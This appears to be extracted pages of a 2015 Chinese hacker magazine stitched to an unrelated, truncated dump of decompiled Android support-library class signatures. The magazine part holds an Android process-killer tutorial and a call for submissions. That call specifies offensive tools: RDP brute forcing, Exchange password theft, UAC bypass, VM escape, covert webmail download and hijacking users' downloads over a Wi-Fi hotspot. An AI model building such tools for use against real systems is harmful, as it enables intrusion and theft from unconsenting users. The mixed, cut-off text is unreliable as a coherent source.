Any question, please email me cqq1978@Gmail.com 

www.topronet.com</a> 

Security Angel Team [S4T] 

http://www.t00ls.net 

 再扩展一下，webshell 访问上来一般都会使用里面的功能，比如执行命令、反弹 shell、

端口扫描等，这些功能在使用过程中也会有一些特征，比如某 webshell 反弹会有 Back 

Connect Success!字样等等，请各位自行发挥。 

 

（完） 

HACKER DEFENCE◆57◆

黑
客
防
线
 

ww
w.
ha
ck
er
.c
om
.c
n 

转
载
请
注
明
出
处



Android远程监控技术 

 

打造 Android 系统加速器 

                          文/图 马智超（DesertEagle） 高晓琪 

安卓系统在长时间使用的情况下，会有很多软件隐藏在后台，时刻消耗着你的系统资源

与电池电量，所以我们要关闭不必要的进程。这篇文字非常适合 Andorid 开发初学者，出于

学习的目的，也为了更好地研究进程保护的机理，我们来打造一款 Android 系统加速器，其

功能是关闭不必要的软件，关闭没有用的后台服务，同时显示可用内存、总内存以及释放了

多少内存。 

 

编程分析 

 一个 Android 包是一个应用发布，用户能下载并安装，而一个进程是一个底层的代码

运行级别的核心进程。通常.apk 包里所有代码运行在一个进程里，一个进程对应一个.apk 包；

然而，进程可以是独立的活动、接收器、服务，或者提供器组件。当某个组件第一次运行的

时候，Android 就启动了一个进程。默认的，所有的组件和程序运行在这个进程和线程中。

ActivityManager 的功能是与系统中所有运行着的 Activity 交互提供了接口，主要的接口围绕

着运行中的进程信息、任务信息、服务信息等。我们可以用 getRunningAppProcesses()获取

进程信息。 

 下面首先需要获取现在正在运行的后台服务，将其放在列表里，核心代码如下。 

 

     try 

    { 

     list.clear(); 

 am=(ActivityManager)MainActivity.this.getSystemService(ACTIVITY_SERVICE);// 创 建

ActivityManager 对象 

      

Final List<RunningAppProcessInfo> l =am.getRunningAppProcesses();        

      

     if(l.size()==0)//若没有正在运行的程序 

     { 

      Toast.makeText(MainActivity.this,"目前没有正在运行的程序！", 

Toast.LENGTH_SHORT).show(); 

      return; 

     } 

     //在 ListView 上依次显示出每个正在运行程序的信息 

     for(int i=0;i<l.size();i++) 

     { 

      list.add("第"+i+"项："+l.get(i).processName+",ID="+l.get(i).pid); 

     } 

 

 然后创建好适配器，设置选中菜单监听器，要获取 android MemoryInfo 信息，可以使用

Debug 的 函 数 getMemoryInfo(Debug.MemoryInfo memoryInfo) 或 ActivityManager 的

MemoryInfo[] getProcessMemoryInfo(int[] pids)来实现，单位可以精确到 KB，getAvailMemory()
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Android远程监控技术 

 

函数可以获取当前可用内存。再通过一些逻辑上的简单判断就可以了，核心代码如下： 

 

lv.setOnItemClickListener//设置选中菜单的监听器 

        ( 

          new OnItemClickListener() 

          { 

public void onItemClick(AdapterView<?> arg0, View arg1,final int arg2, long arg3) { 

 

new AlertDialog.Builder(MainActivity.this).setMessage("是否杀死该进程") .setPositiveButton("

确定", new DialogInterface.OnClickListener() { 

@Override 

public void onClick(DialogInterface dialog,int which) {      

 am.killBackgroundProcesses(l.get(arg2).processName);      

 edittext01.setText(getAvailMemory().toString());       

 edittext02.setText(getTotalMemory().toString());       

 if(mem.equals(getAvailMemory().toString())){         

   Toast.makeText(MainActivity.this," 该 线 程 不 可 以 被 杀 死

",Toast.LENGTH_LONG).show();}else{ 

                                              

String[] str=l.get(arg2).toString().split(":"); 

int[] myMempid = new int[] { l.get(arg2).pid};   

Debug.MemoryInfo[] memoryInfo = am.getProcessMemoryInfo(myMempid);   

int memSize = memoryInfo[0].dalvikPrivateDirty;   

               

String ProInfo=",内存："+memSize+"kb";          

  Toast.makeText(MainActivity.this," 进 程 已 被 杀 死 , 释 放 内 存 ：

"+memSize+"KB",Toast.LENGTH_LONG).show();  mem=getAvailMemory().toString(); 

           } 

          }  

                 

               }).setNegativeButton(" 取 消 ", new 

DialogInterface.OnClickListener() { 

 

@Override 

  public void onClick( 

 DialogInterface dialog, 

int which) { 

                  

     dialog.cancel() ; 

          }  

                 

               }).create().show() ; 

 

功能测试 
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Android远程监控技术 

 

   打开软件界面，如图 1 所示，我们可以看到总内存以及可用内存。 

 

图 1 

    现在我们点击进程列表看看现在运行的进程，获取所有正在运行的后台服务，如图 2

所示。 

 

图 2 

 接下来我们点击要结束的进程，会弹出窗口提示，如图 3 所示。 
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Android远程监控技术 

 

 

图 3 

     如果碰到一些被结束掉的进程又马上自动开启的，会有窗口提示，如图 4 所示。 

 

图 4 

   通过测试指定结束相应的进程，可以显示可用内存，后台服务，释放了多少内存，通过

结束掉进程可以起到一定的加速作用，小小的 Andorid 系统加速器做好了。通过这次编程，

学会了一些对系统进程与内存相关的编程操作，由浅入深，为了更好地理解各种应用运行的
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Android远程监控技术 

 

原理，学习将会继续。 

（完） 
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2015 年第 6 期杂志特约选题征稿 
  

黑客防线于 2013 年推出新的约稿机制，每期均会推出编辑部特选的选题，涵盖信息安

全领域的各个方面。对这些选题有兴趣的读者与作者，可联系投稿信箱：675122680@qq.com、

hadefence@gmail.com，或者 QQ：675122680，确定有意的选题。按照要求如期完成稿件者，

稿酬按照最高标准发放！特别优秀的稿酬另议。2015 年第 6 期部分选题如下，完整的选题

内容请见每月发送的约稿邮件。 

 

1.Exchange 临时文件还原解密 

 对于 Exchange 邮件服务器，最新邮件最初会以临时文件形式存储于服务器上，若要实

现对最新邮件的实时获取，可针对加密的临时文件进行还原，从而获取邮件。 

 编写程序，实现对 Exchange 临时文件的还原。 

 

2.Exchange 账户密码获取 

 对 Exchange 邮件系统所有用户及对应密码的抓取、还原；Exchang 邮箱系统无法直接进

行数据操作，所以需要对其数据库进行提取和还原。 

 编写程序，实现对 Exchange 邮件系统的监控，获取邮件系统所有内建账户与密码。 

 

3.绕过 Windows UAC 的权限限制 

 自本期始，黑客防线杂志长期征集有关绕过 Windows UAC 权限限制的文章（已知方法

除外）。 

 1）Windows UAC 高权限下，绕过 UAC 提示进入系统的方法； 

 2）Windows UAC 低权限下，进入系统后提高账户权限的方法。 

 

4.虚拟机穿透 

 主机安装有虚拟机，现已远程控制虚拟机，寻求如何利用虚拟机的弱点，穿透虚拟机，

进而控制本机的方法。 

 

5.同步下载邮件 

 假设本机当前系统已掌控，在用户登录 Web 邮箱时，能够自动后台同步下载邮件并保

存，包括收件箱、发件箱、已发送邮件、联系人等信息，优先实现 gmail、yahoo 信箱。 

 

6.Windows7 屏幕保护密码获取 

 非重启系统状态下，本机（非远程受控机）屏幕保护已启动，本地获取 Windows7 屏幕

保护密码的方法。 

 

7.暴力破解 3389 远程桌面密码 

要求： 

 1）针对 Windows 3389 远程桌面实现暴力破解密码； 

 2）读取指定的用户名和密码字典文件； 

 3）采用多线程； 

 4）所有函数都必须判断错误值； 

 5）使用 VC++2008 编译工具实现，控制台程序； 
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 6）代码写成 C++类，直接声明类，调用类成员函数就可以调用功能； 

 7）支持 Windows XP/2003/7/2008。 

 

8.WEB 服务器批量扫描破解 

 1）针对目标 IP 参数要求 

  10.10.0.0/16 

  10.10.3.0/24 

  10.10.1.0-10.255.255.255 

 2）针对目标 Web 服务器扫描要求 

 可以识别目标 Web 服务器上运行的 Web 服务器程序，比如 APACHE 或者 IIS 等，具体参

考如下： 

  Tomcat Weblogic Jboss 

  Apache J0nAS WebSphere 

  Lotus Server IIS(Webdav) Axis2 

  Coldfusion Monkey HTTPD Nginx 

 3）针对目标 Web 服务器后台扫描 

  针对目标进行后台地址搜索。 

 4）针对目标 Web 后台密码破解 

  搜索到 Web 登录后台以后，尝试弱口令破解，可以指定字典。 

 

9.编写端口扫描器 

要求： 

 1）扫描出目标机器开放的端口，支持 TCP Connect、SYN、UDP 扫描方式； 

 2）扫描方式采用多线程，并能设置线程数； 

 3）将功能编写成 DLL，导出功能函数； 

 4）代码写成 C++类，直接声明类，调用类成员函数就可以调用功能； 

 5）尽量多做出错异常处理，以防程序意外崩溃； 

 6）使用 VC++2008 编译工具编写； 

 7）支持系统 Windows XP/2003/2008/7。 

 

10.Android WIFI Tether 数据转储劫持 

说明： 

 WIFI Tether（开源项目）可以在 ROOT 过的 Android 设备上共享移动网络（也就是我们

常说的 Wi-Fi 热点），请参照 WIFI Tether 实现一个程序，对流经本机的所有网络数据进行分

析存储。 

 

要求： 

 1）开启 WIFI 热点后，对流经本机的所有网络数据进行存储； 

 2）不同的网络协议存储为不同的文件，比如 HTTP 协议存储为 HTTP.DAT； 

 3）针对 HTTP 下载进行劫持，比如用户下载 www.xx.com/abc.zip，软件能拦截此地址并

替换 abc.zip 文件。 

 

11.突破 Windows7 UAC 

说明： 
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 编写一个程序，绕过 Windows7 UAC 提示，启动另外一个程序，并使这个程序获取到管

理员权限。 

 

要求： 

 1）Windows UAC 安全设置为最高级别； 

 2）系统补丁打到最新； 

 3）支持 32 位和 64 位系统。 
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2015 年征稿启示 

 

   《黑客防线》作为一本技术月刊，已经 15 年了。这十多年以来基本上形成了一个网络安

全技术坎坷发展的主线，陪伴着无数热爱技术、钻研技术、热衷网络安全技术创新的同仁们

实现了诸多技术突破。再次感谢所有的读者和作者，希望这份技术杂志可以永远陪你一起走

下去。 

投稿栏目： 

首发漏洞  

    要求原创必须首发，杜绝一切二手资料。主要内容集中在各种 0Day 公布、讨论，欢迎

第一手溢出类文章，特别欢迎主流操作系统和网络设备的底层 0Day，稿费从优，可以洽谈

深度合作。有深度合作意向者，直接联系总编辑 binsun20000@hotmail.com。 

Android 技术研究 

    黑防重点栏目，对 android 系统的攻击、破解、控制等技术的研究。研究方向包括 android

源代码解析、android 虚拟机，重点欢迎针对 android 下杀毒软件机制和系统底层机理研究的

技术和成果。 

本月焦点  

    针对时下的热点网络安全技术问题展开讨论，或发表自己的技术观点、研究成果，或针

对某一技术事件做分析、评测。  

漏洞攻防  

    利用系统漏洞、网络协议漏洞进行的渗透、入侵、反渗透，反入侵，包括比较流行的第

三方软件和网络设备 0Day 的触发机理，对于国际国内发布的 poc 进行分析研究，编写并提

供优化的 exploit 的思路和过程；同时可针对最新爆发的漏洞进行底层触发、shellcode 分析

以及对各种平台的安全机制的研究。  

脚本攻防  

    利用脚本系统漏洞进行的注入、提权、渗透；国内外使用率高的脚本系统的 0Day 以及

相关防护代码。重点欢迎利用脚本语言缺陷和数据库漏洞配合的注入以及补丁建议；重点欢

迎 PHP 、JSP 以及 html 边界注入的研究和代码实现。  

工具与免杀 

    巧妙的免杀技术讨论；针对最新 Anti 杀毒软件、HIPS 等安全防护软件技术的讨论。特

别欢迎突破安全防护软件主动防御的技术讨论，以及针对主流杀毒软件文件监控和扫描技术

的新型思路对抗,并且欢迎在源代码基础上免杀和专杀的技术论证! 最新工具，包括安全工

具和黑客工具的新技术分析，以及新的使用技巧的实力讲解。  

渗透与提权  

    黑防重点栏目。欢迎非 windows 系统、非 SQL 数据库以外的主流操作系统地渗透、提

权技术讨论，特别欢迎内网渗透、摆渡、提权的技术突破。一切独特的渗透、提权实际例子

均在此栏目发表，杜绝任何无亮点技术文章！  

溢出研究  

    对各种系统包括应用软件漏洞的详细分析，以及底层触发、shellcode 编写、漏洞模式等。  

外文精粹  

    选取国外优秀的网络安全技术文章，进行翻译、讨论。  

 

网络安全顾问  
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 我们关注局域网和广域网整体网络防/杀病毒、防渗透体系的建立；ARP 系统的整体防

护；较有效的不损失网络资源的防范 DDos 攻击技术等相关方面的技术文章。  

搜索引擎优化  

    主要针对特定关键词在各搜索引擎的综合排名、针对主流搜索引擎的多关键词排名的优

化技术。  

密界寻踪  

    关于算法、完全破解、硬件级加解密的技术讨论和病毒分析、虚拟机设计、外壳开发、

调试及逆向分析技术的深入研究。  

编程解析  

    各种安全软件和黑客软件的编程技术探讨；底层驱动、网络协议、进程的加载与控制技

术探讨和 virus 高级应用技术编写；以及漏洞利用的关键代码解析和测试。重点欢迎

C/C++/ASM 自主开发独特工具的开源讨论。 

投稿格式要求：  

    1）技术分析来稿一律使用 Word 编排，将图片插入文章中适当的位置，并明确标注“图

1”、“图 2”；  

    2）在稿件末尾请注明您的账户名、银行账号、以及开户地，包括你的真实姓名、准确

的邮寄地址和邮编、、QQ 或者 MSN、邮箱、常用的笔名等，方便我们发放稿费。  

    3）投稿方式和和周期：  

 采用 E-Mail 方式投稿，投稿 mail：hadefence@gmail.com、QQ：675122680。投稿后，

稿件录用情况将于 1～3 个工作日内回复，请作者留意查看。每月 10 日前投稿将有机会发表

在下月杂志上，10 日后将放到下下月杂志，请作者朋友注意，确认在下一期也没使用者，

可以另投他处。限于人力，未采用的恕不退稿 ，请自留底稿。  

 重点提示：严禁一稿两投。无论什么原因，如果出现重稿——与别的杂志重复——与别

的网站重复，将会扣发稿费，从此不再录用该作者稿件。  

    4）稿费发放周期：  

 稿费当月发放（最迟不超过 2 月），稿费从优。欢迎更多的专业技术人员加入到这个行

列。 

    5）根据稿件质量，分为一等、二等、三等稿件，稿费标准如下： 

 一等稿件 900 元/篇 

 二等稿件 600 元/篇 

 三等稿件 300 元/篇 

    6）稿费发放办法：  

 银行卡发放，支持境内各大银行借记卡，不支持信用卡。 

    7）投稿信箱及编辑联系 

 投稿信箱：675122680@qq.com、hadefence@gmail.com 

 编辑 QQ：675122680 
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android/support/v4/internal/view/SupportMenu.class


package android.support.v4.internal.view;
public abstract interface SupportMenu extends android.view.Menu {
    public static final int USER_MASK = 65535;
    public static final int USER_SHIFT = 0;
    public static final int CATEGORY_MASK = -65536;
    public static final int CATEGORY_SHIFT = 16;
}










android/support/v4/internal/view/SupportMenuItem.class


package android.support.v4.internal.view;
public abstract interface SupportMenuItem extends android.view.MenuItem {
    public static final int SHOW_AS_ACTION_NEVER = 0;
    public static final int SHOW_AS_ACTION_IF_ROOM = 1;
    public static final int SHOW_AS_ACTION_ALWAYS = 2;
    public static final int SHOW_AS_ACTION_WITH_TEXT = 4;
    public static final int SHOW_AS_ACTION_COLLAPSE_ACTION_VIEW = 8;
    public abstract void setShowAsAction(int);
    public abstract android.view.MenuItem setShowAsActionFlags(int);
    public abstract android.view.MenuItem setActionView(android.view.View);
    public abstract android.view.MenuItem setActionView(int);
    public abstract android.view.View getActionView();
    public abstract SupportMenuItem setSupportActionProvider(android.support.v4.view.ActionProvider);
    public abstract android.support.v4.view.ActionProvider getSupportActionProvider();
    public abstract boolean expandActionView();
    public abstract boolean collapseActionView();
    public abstract boolean isActionViewExpanded();
    public abstract SupportMenuItem setSupportOnActionExpandListener(android.support.v4.view.MenuItemCompat$OnActionExpandListener);
}










android/support/v4/internal/view/SupportSubMenu.class


package android.support.v4.internal.view;
public abstract interface SupportSubMenu extends SupportMenu, android.view.SubMenu {
}










android/support/v4/accessibilityservice/AccessibilityServiceInfoCompatJellyBeanMr2.class


package android.support.v4.accessibilityservice;
synchronized class AccessibilityServiceInfoCompatJellyBeanMr2 {
    void AccessibilityServiceInfoCompatJellyBeanMr2();
    public static int getCapabilities(android.accessibilityservice.AccessibilityServiceInfo);
}










android/support/v4/accessibilityservice/AccessibilityServiceInfoCompat$AccessibilityServiceInfoIcsImpl.class


package android.support.v4.accessibilityservice;
synchronized class AccessibilityServiceInfoCompat$AccessibilityServiceInfoIcsImpl extends AccessibilityServiceInfoCompat$AccessibilityServiceInfoStubImpl {
    void AccessibilityServiceInfoCompat$AccessibilityServiceInfoIcsImpl();
    public boolean getCanRetrieveWindowContent(android.accessibilityservice.AccessibilityServiceInfo);
    public String getDescription(android.accessibilityservice.AccessibilityServiceInfo);
    public String getId(android.accessibilityservice.AccessibilityServiceInfo);
    public android.content.pm.ResolveInfo getResolveInfo(android.accessibilityservice.AccessibilityServiceInfo);
    public String getSettingsActivityName(android.accessibilityservice.AccessibilityServiceInfo);
    public int getCapabilities(android.accessibilityservice.AccessibilityServiceInfo);
}










android/support/v4/accessibilityservice/AccessibilityServiceInfoCompat.class


package android.support.v4.accessibilityservice;
public synchronized class AccessibilityServiceInfoCompat {
    private static final AccessibilityServiceInfoCompat$AccessibilityServiceInfoVersionImpl IMPL;
    public static final int CAPABILITY_CAN_RETRIEVE_WINDOW_CONTENT = 1;
    public static final int CAPABILITY_CAN_REQUEST_TOUCH_EXPLORATION = 2;
    public static final int CAPABILITY_CAN_REQUEST_ENHANCED_WEB_ACCESSIBILITY = 4;
    public static final int CAPABILITY_CAN_FILTER_KEY_EVENTS = 8;
    public static final int FEEDBACK_BRAILLE = 32;
    public static final int FEEDBACK_ALL_MASK = -1;
    public static final int DEFAULT = 1;
    public static final int FLAG_INCLUDE_NOT_IMPORTANT_VIEWS = 2;
    public static final int FLAG_REQUEST_TOUCH_EXPLORATION_MODE = 4;
    public static final int FLAG_REQUEST_ENHANCED_WEB_ACCESSIBILITY = 8;
    public static final int FLAG_REPORT_VIEW_IDS = 16;
    public static final int FLAG_REQUEST_FILTER_KEY_EVENTS = 32;
    private void AccessibilityServiceInfoCompat();
    public static String getId(android.accessibilityservice.AccessibilityServiceInfo);
    public static android.content.pm.ResolveInfo getResolveInfo(android.accessibilityservice.AccessibilityServiceInfo);
    public static String getSettingsActivityName(android.accessibilityservice.AccessibilityServiceInfo);
    public static boolean getCanRetrieveWindowContent(android.accessibilityservice.AccessibilityServiceInfo);
    public static String getDescription(android.accessibilityservice.AccessibilityServiceInfo);
    public static String feedbackTypeToString(int);
    public static String flagToString(int);
    public static int getCapabilities(android.accessibilityservice.AccessibilityServiceInfo);
    public static String capabilityToString(int);
    static void <clinit>();
}










android/support/v4/accessibilityservice/AccessibilityServiceInfoCompat$AccessibilityServiceInfoJellyBeanMr2.class


package android.support.v4.accessibilityservice;
synchronized class AccessibilityServiceInfoCompat$AccessibilityServiceInfoJellyBeanMr2 extends AccessibilityServiceInfoCompat$AccessibilityServiceInfoIcsImpl {
    void AccessibilityServiceInfoCompat$AccessibilityServiceInfoJellyBeanMr2();
    public int getCapabilities(android.accessibilityservice.AccessibilityServiceInfo);
}










android/support/v4/accessibilityservice/AccessibilityServiceInfoCompat$AccessibilityServiceInfoStubImpl.class


package android.support.v4.accessibilityservice;
synchronized class AccessibilityServiceInfoCompat$AccessibilityServiceInfoStubImpl implements AccessibilityServiceInfoCompat$AccessibilityServiceInfoVersionImpl {
    void AccessibilityServiceInfoCompat$AccessibilityServiceInfoStubImpl();
    public boolean getCanRetrieveWindowContent(android.accessibilityservice.AccessibilityServiceInfo);
    public String getDescription(android.accessibilityservice.AccessibilityServiceInfo);
    public String getId(android.accessibilityservice.AccessibilityServiceInfo);
    public android.content.pm.ResolveInfo getResolveInfo(android.accessibilityservice.AccessibilityServiceInfo);
    public String getSettingsActivityName(android.accessibilityservice.AccessibilityServiceInfo);
    public int getCapabilities(android.accessibilityservice.AccessibilityServiceInfo);
}










android/support/v4/accessibilityservice/AccessibilityServiceInfoCompatIcs.class


package android.support.v4.accessibilityservice;
synchronized class AccessibilityServiceInfoCompatIcs {
    void AccessibilityServiceInfoCompatIcs();
    public static boolean getCanRetrieveWindowContent(android.accessibilityservice.AccessibilityServiceInfo);
    public static String getDescription(android.accessibilityservice.AccessibilityServiceInfo);
    public static String getId(android.accessibilityservice.AccessibilityServiceInfo);
    public static android.content.pm.ResolveInfo getResolveInfo(android.accessibilityservice.AccessibilityServiceInfo);
    public static String getSettingsActivityName(android.accessibilityservice.AccessibilityServiceInfo);
}










android/support/v4/accessibilityservice/AccessibilityServiceInfoCompat$AccessibilityServiceInfoVersionImpl.class


package android.support.v4.accessibilityservice;
abstract interface AccessibilityServiceInfoCompat$AccessibilityServiceInfoVersionImpl {
    public abstract String getId(android.accessibilityservice.AccessibilityServiceInfo);
    public abstract android.content.pm.ResolveInfo getResolveInfo(android.accessibilityservice.AccessibilityServiceInfo);
    public abstract boolean getCanRetrieveWindowContent(android.accessibilityservice.AccessibilityServiceInfo);
    public abstract String getDescription(android.accessibilityservice.AccessibilityServiceInfo);
    public abstract String getSettingsActivityName(android.accessibilityservice.AccessibilityServiceInfo);
    public abstract int getCapabilities(android.accessibilityservice.AccessibilityServiceInfo);
}










android/support/v4/util/Pools$SynchronizedPool.class


package android.support.v4.util;
public synchronized class Pools$SynchronizedPool extends Pools$SimplePool {
    private final Object mLock;
    public void Pools$SynchronizedPool(int);
    public Object acquire();
    public boolean release(Object);
}










android/support/v4/util/ArrayMap$1.class


package android.support.v4.util;
synchronized class ArrayMap$1 extends MapCollections {
    void ArrayMap$1(ArrayMap);
    protected int colGetSize();
    protected Object colGetEntry(int, int);
    protected int colIndexOfKey(Object);
    protected int colIndexOfValue(Object);
    protected java.util.Map colGetMap();
    protected void colPut(Object, Object);
    protected Object colSetValue(int, Object);
    protected void colRemoveAt(int);
    protected void colClear();
}










android/support/v4/util/LogWriter.class


package android.support.v4.util;
public synchronized class LogWriter extends java.io.Writer {
    private final String mTag;
    private StringBuilder mBuilder;
    public void LogWriter(String);
    public void close();
    public void flush();
    public void write(char[], int, int);
    private void flushBuilder();
}










android/support/v4/util/MapCollections$MapIterator.class


package android.support.v4.util;
final synchronized class MapCollections$MapIterator implements java.util.Iterator, java.util.Map$Entry {
    int mEnd;
    int mIndex;
    boolean mEntryValid;
    void MapCollections$MapIterator(MapCollections);
    public boolean hasNext();
    public java.util.Map$Entry next();
    public void remove();
    public Object getKey();
    public Object getValue();
    public Object setValue(Object);
    public final boolean equals(Object);
    public final int hashCode();
    public final String toString();
}










android/support/v4/util/MapCollections$EntrySet.class


package android.support.v4.util;
final synchronized class MapCollections$EntrySet implements java.util.Set {
    void MapCollections$EntrySet(MapCollections);
    public boolean add(java.util.Map$Entry);
    public boolean addAll(java.util.Collection);
    public void clear();
    public boolean contains(Object);
    public boolean containsAll(java.util.Collection);
    public boolean isEmpty();
    public java.util.Iterator iterator();
    public boolean remove(Object);
    public boolean removeAll(java.util.Collection);
    public boolean retainAll(java.util.Collection);
    public int size();
    public Object[] toArray();
    public Object[] toArray(Object[]);
    public boolean equals(Object);
    public int hashCode();
}










android/support/v4/util/DebugUtils.class


package android.support.v4.util;
public synchronized class DebugUtils {
    public void DebugUtils();
    public static void buildShortClassTag(Object, StringBuilder);
}










android/support/v4/util/AtomicFile.class


package android.support.v4.util;
public synchronized class AtomicFile {
    private final java.io.File mBaseName;
    private final java.io.File mBackupName;
    public void AtomicFile(java.io.File);
    public java.io.File getBaseFile();
    public void delete();
    public java.io.FileOutputStream startWrite() throws java.io.IOException;
    public void finishWrite(java.io.FileOutputStream);
    public void failWrite(java.io.FileOutputStream);
    public java.io.FileInputStream openRead() throws java.io.FileNotFoundException;
    public byte[] readFully() throws java.io.IOException;
    static boolean sync(java.io.FileOutputStream);
}










android/support/v4/util/Pools$Pool.class


package android.support.v4.util;
public abstract interface Pools$Pool {
    public abstract Object acquire();
    public abstract boolean release(Object);
}










android/support/v4/util/LongSparseArray.class


package android.support.v4.util;
public synchronized class LongSparseArray implements Cloneable {
    private static final Object DELETED;
    private boolean mGarbage;
    private long[] mKeys;
    private Object[] mValues;
    private int mSize;
    public void LongSparseArray();
    public void LongSparseArray(int);
    public LongSparseArray clone();
    public Object get(long);
    public Object get(long, Object);
    public void delete(long);
    public void remove(long);
    public void removeAt(int);
    private void gc();
    public void put(long, Object);
    public int size();
    public long keyAt(int);
    public Object valueAt(int);
    public void setValueAt(int, Object);
    public int indexOfKey(long);
    public int indexOfValue(Object);
    public void clear();
    public void append(long, Object);
    public String toString();
    static void <clinit>();
}










android/support/v4/util/Pools$SimplePool.class


package android.support.v4.util;
public synchronized class Pools$SimplePool implements Pools$Pool {
    private final Object[] mPool;
    private int mPoolSize;
    public void Pools$SimplePool(int);
    public Object acquire();
    public boolean release(Object);
    private boolean isInPool(Object);
}










android/support/v4/util/SimpleArrayMap.class


package android.support.v4.util;
public synchronized class SimpleArrayMap {
    private static final boolean DEBUG = 0;
    private static final String TAG = ArrayMap;
    private static final int BASE_SIZE = 4;
    private static final int CACHE_SIZE = 10;
    static Object[] mBaseCache;
    static int mBaseCacheSize;
    static Object[] mTwiceBaseCache;
    static int mTwiceBaseCacheSize;
    int[] mHashes;
    Object[] mArray;
    int mSize;
    int indexOf(Object, int);
    int indexOfNull();
    private void allocArrays(int);
    private static void freeArrays(int[], Object[], int);
    public void SimpleArrayMap();
    public void SimpleArrayMap(int);
    public void SimpleArrayMap(SimpleArrayMap);
    public void clear();
    public void ensureCapacity(int);
    public boolean containsKey(Object);
    public int indexOfKey(Object);
    int indexOfValue(Object);
    public boolean containsValue(Object);
    public Object get(Object);
    public Object keyAt(int);
    public Object valueAt(int);
    public Object setValueAt(int, Object);
    public boolean isEmpty();
    public Object put(Object, Object);
    public void putAll(SimpleArrayMap);
    public Object remove(Object);
    public Object removeAt(int);
    public int size();
    public boolean equals(Object);
    public int hashCode();
    public String toString();
}










android/support/v4/util/Pair.class


package android.support.v4.util;
public synchronized class Pair {
    public final Object first;
    public final Object second;
    public void Pair(Object, Object);
    public boolean equals(Object);
    private static boolean objectsEqual(Object, Object);
    public int hashCode();
    public static Pair create(Object, Object);
}










android/support/v4/util/MapCollections.class


package android.support.v4.util;
abstract synchronized class MapCollections {
    MapCollections$EntrySet mEntrySet;
    MapCollections$KeySet mKeySet;
    MapCollections$ValuesCollection mValues;
    void MapCollections();
    public static boolean containsAllHelper(java.util.Map, java.util.Collection);
    public static boolean removeAllHelper(java.util.Map, java.util.Collection);
    public static boolean retainAllHelper(java.util.Map, java.util.Collection);
    public Object[] toArrayHelper(int);
    public Object[] toArrayHelper(Object[], int);
    public static boolean equalsSetHelper(java.util.Set, Object);
    public java.util.Set getEntrySet();
    public java.util.Set getKeySet();
    public java.util.Collection getValues();
    protected abstract int colGetSize();
    protected abstract Object colGetEntry(int, int);
    protected abstract int colIndexOfKey(Object);
    protected abstract int colIndexOfValue(Object);
    protected abstract java.util.Map colGetMap();
    protected abstract void colPut(Object, Object);
    protected abstract Object colSetValue(int, Object);
    protected abstract void colRemoveAt(int);
    protected abstract void colClear();
}










android/support/v4/util/CircularArray.class


package android.support.v4.util;
public synchronized class CircularArray {
    private Object[] mElements;
    private int mHead;
    private int mTail;
    private int mCapacityBitmask;
    private void doubleCapacity();
    public void CircularArray();
    public void CircularArray(int);
    public final void addFirst(Object);
    public final void addLast(Object);
    public final Object popFirst();
    public final Object popLast();
    public final Object getFirst();
    public final Object getLast();
    public final Object get(int);
    public final int size();
    public final boolean isEmpty();
}










android/support/v4/util/MapCollections$KeySet.class


package android.support.v4.util;
final synchronized class MapCollections$KeySet implements java.util.Set {
    void MapCollections$KeySet(MapCollections);
    public boolean add(Object);
    public boolean addAll(java.util.Collection);
    public void clear();
    public boolean contains(Object);
    public boolean containsAll(java.util.Collection);
    public boolean isEmpty();
    public java.util.Iterator iterator();
    public boolean remove(Object);
    public boolean removeAll(java.util.Collection);
    public boolean retainAll(java.util.Collection);
    public int size();
    public Object[] toArray();
    public Object[] toArray(Object[]);
    public boolean equals(Object);
    public int hashCode();
}










android/support/v4/util/SparseArrayCompat.class


package android.support.v4.util;
public synchronized class SparseArrayCompat implements Cloneable {
    private static final Object DELETED;
    private boolean mGarbage;
    private int[] mKeys;
    private Object[] mValues;
    private int mSize;
    public void SparseArrayCompat();
    public void SparseArrayCompat(int);
    public SparseArrayCompat clone();
    public Object get(int);
    public Object get(int, Object);
    public void delete(int);
    public void remove(int);
    public void removeAt(int);
    public void removeAtRange(int, int);
    private void gc();
    public void put(int, Object);
    public int size();
    public int keyAt(int);
    public Object valueAt(int);
    public void setValueAt(int, Object);
    public int indexOfKey(int);
    public int indexOfValue(Object);
    public void clear();
    public void append(int, Object);
    public String toString();
    static void <clinit>();
}










android/support/v4/util/TimeUtils.class


package android.support.v4.util;
public synchronized class TimeUtils {
    public static final int HUNDRED_DAY_FIELD_LEN = 19;
    private static final int SECONDS_PER_MINUTE = 60;
    private static final int SECONDS_PER_HOUR = 3600;
    private static final int SECONDS_PER_DAY = 86400;
    private static final Object sFormatSync;
    private static char[] sFormatStr;
    public void TimeUtils();
    private static int accumField(int, int, boolean, int);
    private static int printField(char[], int, char, int, boolean, int);
    private static int formatDurationLocked(long, int);
    public static void formatDuration(long, StringBuilder);
    public static void formatDuration(long, java.io.PrintWriter, int);
    public static void formatDuration(long, java.io.PrintWriter);
    public static void formatDuration(long, long, java.io.PrintWriter);
    static void <clinit>();
}










android/support/v4/util/MapCollections$ValuesCollection.class


package android.support.v4.util;
final synchronized class MapCollections$ValuesCollection implements java.util.Collection {
    void MapCollections$ValuesCollection(MapCollections);
    public boolean add(Object);
    public boolean addAll(java.util.Collection);
    public void clear();
    public boolean contains(Object);
    public boolean containsAll(java.util.Collection);
    public boolean isEmpty();
    public java.util.Iterator iterator();
    public boolean remove(Object);
    public boolean removeAll(java.util.Collection);
    public boolean retainAll(java.util.Collection);
    public int size();
    public Object[] toArray();
    public Object[] toArray(Object[]);
}










android/support/v4/util/LruCache.class


package android.support.v4.util;
public synchronized class LruCache {
    private final java.util.LinkedHashMap map;
    private int size;
    private int maxSize;
    private int putCount;
    private int createCount;
    private int evictionCount;
    private int hitCount;
    private int missCount;
    public void LruCache(int);
    public void resize(int);
    public final Object get(Object);
    public final Object put(Object, Object);
    public void trimToSize(int);
    public final Object remove(Object);
    protected void entryRemoved(boolean, Object, Object, Object);
    protected Object create(Object);
    private int safeSizeOf(Object, Object);
    protected int sizeOf(Object, Object);
    public final void evictAll();
    public final synchronized int size();
    public final synchronized int maxSize();
    public final synchronized int hitCount();
    public final synchronized int missCount();
    public final synchronized int createCount();
    public final synchronized int putCount();
    public final synchronized int evictionCount();
    public final synchronized java.util.Map snapshot();
    public final synchronized String toString();
}










android/support/v4/util/ContainerHelpers.class


package android.support.v4.util;
synchronized class ContainerHelpers {
    static final int[] EMPTY_INTS;
    static final long[] EMPTY_LONGS;
    static final Object[] EMPTY_OBJECTS;
    void ContainerHelpers();
    public static int idealIntArraySize(int);
    public static int idealLongArraySize(int);
    public static int idealByteArraySize(int);
    public static boolean equal(Object, Object);
    static int binarySearch(int[], int, int);
    static int binarySearch(long[], int, long);
